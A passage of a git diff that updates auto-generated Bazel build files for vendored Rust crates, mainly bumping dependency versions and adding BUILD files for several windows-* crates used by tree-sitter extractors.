rust_proc_macro( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.58.0", deps = [ - "@vendor_ts__heck-0.4.1//:heck", - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-interface-0.58.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-interface-0.58.0.bazel new file mode 100644 index 00000000000..875df272d2a --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-interface-0.58.0.bazel @@ -0,0 +1,88 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_proc_macro") + +package(default_visibility = ["//visibility:public"]) + +rust_proc_macro( + name = "windows_interface", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=windows-interface", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.58.0", + deps = [ + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-link-0.1.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-link-0.1.1.bazel new file mode 100644 index 00000000000..9c42ef20e0b --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-link-0.1.1.bazel @@ -0,0 +1,83 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "windows_link", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=windows-link", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.1.1", +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-result-0.2.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-result-0.2.0.bazel new file mode 100644 index 00000000000..f32ca5f6cde --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-result-0.2.0.bazel @@ -0,0 +1,86 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "windows_result", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=windows-result", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.2.0", + deps = [ + "@vendor_ts__windows-targets-0.52.6//:windows_targets", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-strings-0.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-strings-0.1.0.bazel new file mode 100644 index 00000000000..1d38767dcb2 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.windows-strings-0.1.0.bazel @@ -0,0 +1,87 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "windows_strings", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=windows-strings", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.1.0", + deps = [ + "@vendor_ts__windows-result-0.2.0//:windows_result", + "@vendor_ts__windows-targets-0.52.6//:windows_targets", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.7.35.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.7.35.bazel index a3bb7ebae97..c896b4653f1 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.7.35.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.7.35.bazel @@ -81,8 +81,8 @@ rust_proc_macro( }), version = "0.7.35", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.8.20.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.8.20.bazel index 0f6480931fc..7e87cf6b1bf 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.8.20.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.zerocopy-derive-0.8.20.bazel @@ -81,8 +81,8 @@ rust_proc_macro( }), version = "0.8.20", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl b/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl index 817891809d2..b011a2c9800 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/defs.bzl @@ -296,7 +296,7 @@ def aliases( _NORMAL_DEPENDENCIES = { "ruby/extractor": { _COMMON_CONDITION: { - "clap": Label("@vendor_ts__clap-4.5.31//:clap"), + "clap": Label("@vendor_ts__clap-4.5.32//:clap"), "encoding": Label("@vendor_ts__encoding-0.2.33//:encoding"), "lazy_static": Label("@vendor_ts__lazy_static-1.5.0//:lazy_static"), "rayon": Label("@vendor_ts__rayon-1.10.0//:rayon"), @@ -310,14 +310,14 @@ _NORMAL_DEPENDENCIES = { }, "rust/ast-generator": { _COMMON_CONDITION: { - "anyhow": Label("@vendor_ts__anyhow-1.0.96//:anyhow"), - "either": Label("@vendor_ts__either-1.14.0//:either"), + "anyhow": Label("@vendor_ts__anyhow-1.0.97//:anyhow"), + "either": Label("@vendor_ts__either-1.15.0//:either"), "itertools": Label("@vendor_ts__itertools-0.14.0//:itertools"), "mustache": Label("@vendor_ts__mustache-0.9.0//:mustache"), - "proc-macro2": Label("@vendor_ts__proc-macro2-1.0.93//:proc_macro2"), - "quote": Label("@vendor_ts__quote-1.0.38//:quote"), - "serde": Label("@vendor_ts__serde-1.0.218//:serde"), - "stdx": Label("@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx"), + "proc-macro2": Label("@vendor_ts__proc-macro2-1.0.94//:proc_macro2"), + "quote": Label("@vendor_ts__quote-1.0.40//:quote"), + "serde": Label("@vendor_ts__serde-1.0.219//:serde"), + "stdx": Label("@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx"), "ungrammar": Label("@vendor_ts__ungrammar-1.16.1//:ungrammar"), }, }, @@ -325,33 +325,33 @@ _NORMAL_DEPENDENCIES = { }, "rust/extractor": { _COMMON_CONDITION: { - "anyhow": Label("@vendor_ts__anyhow-1.0.96//:anyhow"), + "anyhow": Label("@vendor_ts__anyhow-1.0.97//:anyhow"), "argfile": Label("@vendor_ts__argfile-0.2.1//:argfile"), - "chalk-ir": Label("@vendor_ts__chalk-ir-0.99.0//:chalk_ir"), - "chrono": Label("@vendor_ts__chrono-0.4.39//:chrono"), - "clap": Label("@vendor_ts__clap-4.5.31//:clap"), + "chalk-ir": Label("@vendor_ts__chalk-ir-0.100.0//:chalk_ir"), + "chrono": Label("@vendor_ts__chrono-0.4.40//:chrono"), + "clap": Label("@vendor_ts__clap-4.5.32//:clap"), "dunce": Label("@vendor_ts__dunce-1.0.5//:dunce"), "figment": Label("@vendor_ts__figment-0.10.19//:figment"), "glob": Label("@vendor_ts__glob-0.3.2//:glob"), "itertools": Label("@vendor_ts__itertools-0.14.0//:itertools"), "num-traits": Label("@vendor_ts__num-traits-0.2.19//:num_traits"), - "ra_ap_base_db": Label("@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db"), - "ra_ap_cfg": Label("@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg"), - "ra_ap_hir": Label("@vendor_ts__ra_ap_hir-0.0.266//:ra_ap_hir"), - "ra_ap_hir_def": Label("@vendor_ts__ra_ap_hir_def-0.0.266//:ra_ap_hir_def"), - "ra_ap_hir_expand": Label("@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand"), - "ra_ap_hir_ty": Label("@vendor_ts__ra_ap_hir_ty-0.0.266//:ra_ap_hir_ty"), - "ra_ap_ide_db": Label("@vendor_ts__ra_ap_ide_db-0.0.266//:ra_ap_ide_db"), - "ra_ap_intern": Label("@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern"), - "ra_ap_load-cargo": Label("@vendor_ts__ra_ap_load-cargo-0.0.266//:ra_ap_load_cargo"), - "ra_ap_parser": Label("@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser"), - "ra_ap_paths": Label("@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths"), - "ra_ap_project_model": Label("@vendor_ts__ra_ap_project_model-0.0.266//:ra_ap_project_model"), - "ra_ap_span": Label("@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span"), - "ra_ap_syntax": Label("@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax"), - "ra_ap_vfs": Label("@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs"), - "serde": Label("@vendor_ts__serde-1.0.218//:serde"), - "serde_json": Label("@vendor_ts__serde_json-1.0.139//:serde_json"), + "ra_ap_base_db": Label("@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db"), + "ra_ap_cfg": Label("@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg"), + "ra_ap_hir": Label("@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir"), + "ra_ap_hir_def": Label("@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def"), + "ra_ap_hir_expand": Label("@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand"), + "ra_ap_hir_ty": Label("@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty"), + "ra_ap_ide_db": Label("@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db"), + "ra_ap_intern": Label("@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern"), + "ra_ap_load-cargo": Label("@vendor_ts__ra_ap_load-cargo-0.0.270//:ra_ap_load_cargo"), + "ra_ap_parser": Label("@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser"), + "ra_ap_paths": Label("@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths"), + "ra_ap_project_model": Label("@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model"), + "ra_ap_span": Label("@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span"), + "ra_ap_syntax": Label("@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax"), + "ra_ap_vfs": Label("@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs"), + "serde": Label("@vendor_ts__serde-1.0.219//:serde"), + "serde_json": Label("@vendor_ts__serde_json-1.0.140//:serde_json"), "serde_with": Label("@vendor_ts__serde_with-3.12.0//:serde_with"), "toml": Label("@vendor_ts__toml-0.8.20//:toml"), "tracing": Label("@vendor_ts__tracing-0.1.41//:tracing"), @@ -362,13 +362,13 @@ _NORMAL_DEPENDENCIES = { }, "rust/extractor/macros": { _COMMON_CONDITION: { - "quote": Label("@vendor_ts__quote-1.0.38//:quote"), - "syn": Label("@vendor_ts__syn-2.0.98//:syn"), + "quote": Label("@vendor_ts__quote-1.0.40//:quote"), + "syn": Label("@vendor_ts__syn-2.0.100//:syn"), }, }, "shared/tree-sitter-extractor": { _COMMON_CONDITION: { - "chrono": Label("@vendor_ts__chrono-0.4.39//:chrono"), + "chrono": Label("@vendor_ts__chrono-0.4.40//:chrono"), "encoding": Label("@vendor_ts__encoding-0.2.33//:encoding"), "flate2": Label("@vendor_ts__flate2-1.1.0//:flate2"), "globset": Label("@vendor_ts__globset-0.4.15//:globset"), @@ -376,8 +376,8 @@ _NORMAL_DEPENDENCIES = { "num_cpus": Label("@vendor_ts__num_cpus-1.16.0//:num_cpus"), "rayon": Label("@vendor_ts__rayon-1.10.0//:rayon"), "regex": Label("@vendor_ts__regex-1.11.1//:regex"), - "serde": Label("@vendor_ts__serde-1.0.218//:serde"), - "serde_json": Label("@vendor_ts__serde_json-1.0.139//:serde_json"), + "serde": Label("@vendor_ts__serde-1.0.219//:serde"), + "serde_json": Label("@vendor_ts__serde_json-1.0.140//:serde_json"), "tracing": Label("@vendor_ts__tracing-0.1.41//:tracing"), "tracing-subscriber": Label("@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber"), "tree-sitter": Label("@vendor_ts__tree-sitter-0.24.6//:tree_sitter"), @@ -392,7 +392,7 @@ _NORMAL_ALIASES = { }, "rust/ast-generator": { _COMMON_CONDITION: { - Label("@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx"): "stdx", + Label("@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx"): "stdx", }, }, "rust/autobuild": { @@ -595,6 +595,7 @@ _CONDITIONS = { "cfg(all(target_arch = \"x86\", target_env = \"msvc\", not(windows_raw_dylib)))": ["@rules_rust//rust/platform:i686-pc-windows-msvc"], "cfg(all(target_arch = \"x86_64\", target_env = \"gnu\", not(target_abi = \"llvm\"), not(windows_raw_dylib)))": ["@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"], "cfg(all(target_arch = \"x86_64\", target_env = \"msvc\", not(windows_raw_dylib)))": ["@rules_rust//rust/platform:x86_64-pc-windows-msvc"], + "cfg(all(target_os = \"linux\", not(target_env = \"ohos\")))": ["@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"], "cfg(all(windows, not(target_vendor = \"win7\")))": ["@rules_rust//rust/platform:aarch64-pc-windows-msvc", "@rules_rust//rust/platform:i686-pc-windows-msvc", "@rules_rust//rust/platform:x86_64-pc-windows-msvc"], "cfg(any())": [], "cfg(any(target_os = \"dragonfly\", target_os = \"freebsd\", target_os = \"hurd\", target_os = \"illumos\", all(target_os = \"horizon\", target_arch = \"arm\")))": ["@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:x86_64-unknown-freebsd"], @@ -605,11 +606,11 @@ _CONDITIONS = { "cfg(any(target_os = \"macos\", target_os = \"ios\"))": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:aarch64-apple-ios", "@rules_rust//rust/platform:aarch64-apple-ios-sim", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-ios"], "cfg(any(target_os = \"macos\", target_os = \"openbsd\", target_os = \"vita\", target_os = \"emscripten\"))": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-darwin"], "cfg(any(target_pointer_width = \"8\", target_pointer_width = \"16\", target_pointer_width = \"32\"))": ["@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:i686-pc-windows-msvc", "@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:riscv32imc-unknown-none-elf", "@rules_rust//rust/platform:thumbv7em-none-eabi", "@rules_rust//rust/platform:thumbv8m.main-none-eabi", "@rules_rust//rust/platform:wasm32-unknown-unknown", "@rules_rust//rust/platform:wasm32-wasip1"], + "cfg(loom)": [], "cfg(not(windows))": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:aarch64-apple-ios", "@rules_rust//rust/platform:aarch64-apple-ios-sim", "@rules_rust//rust/platform:aarch64-linux-android", "@rules_rust//rust/platform:aarch64-unknown-fuchsia", "@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710", "@rules_rust//rust/platform:aarch64-unknown-uefi", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:riscv32imc-unknown-none-elf", "@rules_rust//rust/platform:riscv64gc-unknown-none-elf", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:thumbv7em-none-eabi", "@rules_rust//rust/platform:thumbv8m.main-none-eabi", "@rules_rust//rust/platform:wasm32-unknown-unknown", "@rules_rust//rust/platform:wasm32-wasip1", "@rules_rust//rust/platform:x86_64-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-ios", "@rules_rust//rust/platform:x86_64-linux-android", "@rules_rust//rust/platform:x86_64-unknown-freebsd", 